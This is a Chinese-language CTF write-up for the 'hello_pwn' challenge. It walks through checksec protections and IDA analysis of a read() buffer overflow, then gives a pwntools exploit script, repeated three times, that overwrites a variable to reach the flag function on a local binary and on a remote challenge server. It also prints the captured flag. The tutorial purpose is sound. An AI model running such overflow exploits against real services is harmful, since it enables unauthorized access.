事件起因(無語)
手殘博主因在27日從根地址誤刪了自己兩年半配置和使用的kali虛擬機,,,在一步步恢復環境配置的時候,從頭到尾刷一遍題,總結思路,
題目分析

開啟場景后,服務端會開啟對應的埠,并在埠上部署和附件相同的ELF二進制可執行檔案,我們要做的就是下載附件并在本地進行反匯編,反編譯等操作分析程式漏洞,從而利用漏洞獲取題目的flag,
checksec監測
file查看一下檔案屬性,可以看到檔案是linux elf檔案,64位元組,x86也就是amd64微處理器,

checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程式;
也可以用gdb插件中的checksec來監測,gdb中直接checksec就可以了,如下:

checksec可以檢查程式保護機制,從而查看題目開啟了哪些保護機制,有助于對題目的初步分析,
Arch:程式位數(查看是多少位的程式,比如32或64位),也可以查看是哪個微處理器,比如i386為32位微處理器,amd64為64位微處理器(x86架構的延伸產品,稱為x86-64,后改名為AMD64);
RELRO:設定符號重定向表格為只讀或在程式啟動時就決議并系結所有動態符號,從而減少對GOT(Global Offset Table)攻擊,RELEO為"Partial RELRO",說明我們對GOT表有寫權限,
Stack:堆疊溢位監測,查看程式是否開啟了Canary防護(一種對函式堆疊的監測保護:還沒等到堆疊溢位,先回傳canary word,從而監測堆疊溢位情況),
NX :No-eXecute(不可執行),相等于windows的DEP(資料執行保護),就是將攻擊者構造的payload和shellcode(一般為系統遠程執行命令)所在的記憶體頁標識為不可執行,當攻擊代碼想要以資料代碼偽裝成可執行代碼時,就會被檢測到,從而使CPU拋出例外,從而不執行惡意指令,
PIE:記憶體地址空間分布隨機化(ASLR:address space layout randomization)

從checksec檢測中可以看出
- 這是一個64位小端序程式;
- 沒有開啟RELRO;
- 金絲雀沒有開啟
- NX開啟
- 沒有開啟地址空間隨機化
IDA pro分析

在main函式上按F5進入偽代碼:

分析程式


顯而易見,這是一道緩沖區溢位題,我們只要通過read函式對目的函式進行溢位,將目的值覆寫,使目的函式執行,就可以得到flag了,

程式的關鍵是:目的變數==1853186401,我們只要通過read()函式進行緩沖區溢位,將中間的記憶體覆寫臟資料,目的變數的值覆寫為指定的值就可以使if條件成立,從而執行指定函式拿到flag,

查看緩沖區地址和目的變數的記憶體地址后,我們計算出他們之間的記憶體空間大小為0x6C-0x68,所以只要我們將其中填充臟資料,構建payload就可以實作溢位攻擊了,
好了,現在思路清晰,我們來構建我們的exp攻擊腳本,
撰寫exp
- interactive() : 直接進行互動,相當于回到shell的模式,在取得shell之后使用
- recv(numb = 4096,timeout = default):接收指定位元組
- recvall() : 一直接收知道EOF
- recvline(keepends = True): 接收一行,keepends為是否保留行尾的\n,默認為Ture
- recvuntil((delims,drop=False):一直讀到delims的pattern出現為止
- recvrepeat(timeout=default): 持續接收知道EOF或者timeout
- send(data) :發送資料
- sendline(data) : 發送一行資料,相當于在資料末尾加\n
python3(pwntools)
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=1
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
攻本地程式
content = 1就是pwn本地:
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=1
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()

因為你的本地程式并沒有flag,所以這里顯示cat:沒有找到,說明你的exp基本上已經撰寫成功,現在只要將content修改為0就可以pwn遠程了
攻遠程服務器
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=0
def main():
if content == 1:
peiqi = process("hello_pwn")
else:
peiqi = remote("220.249.52.133",53395)
payload = b'a' * (0x6C - 0x68) + p64(1853186401)
peiqi.recvuntil("lets get helloworld for bof\n")
peiqi.sendline(payload)
peiqi.interactive()
main()

成功pwn到flag:cyberpeace{66c82e120023fc25f9ab807a58058288}
總結
一道很簡單的pwn題,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/150940.html
標籤:其他
下一篇:MATLAB仿真
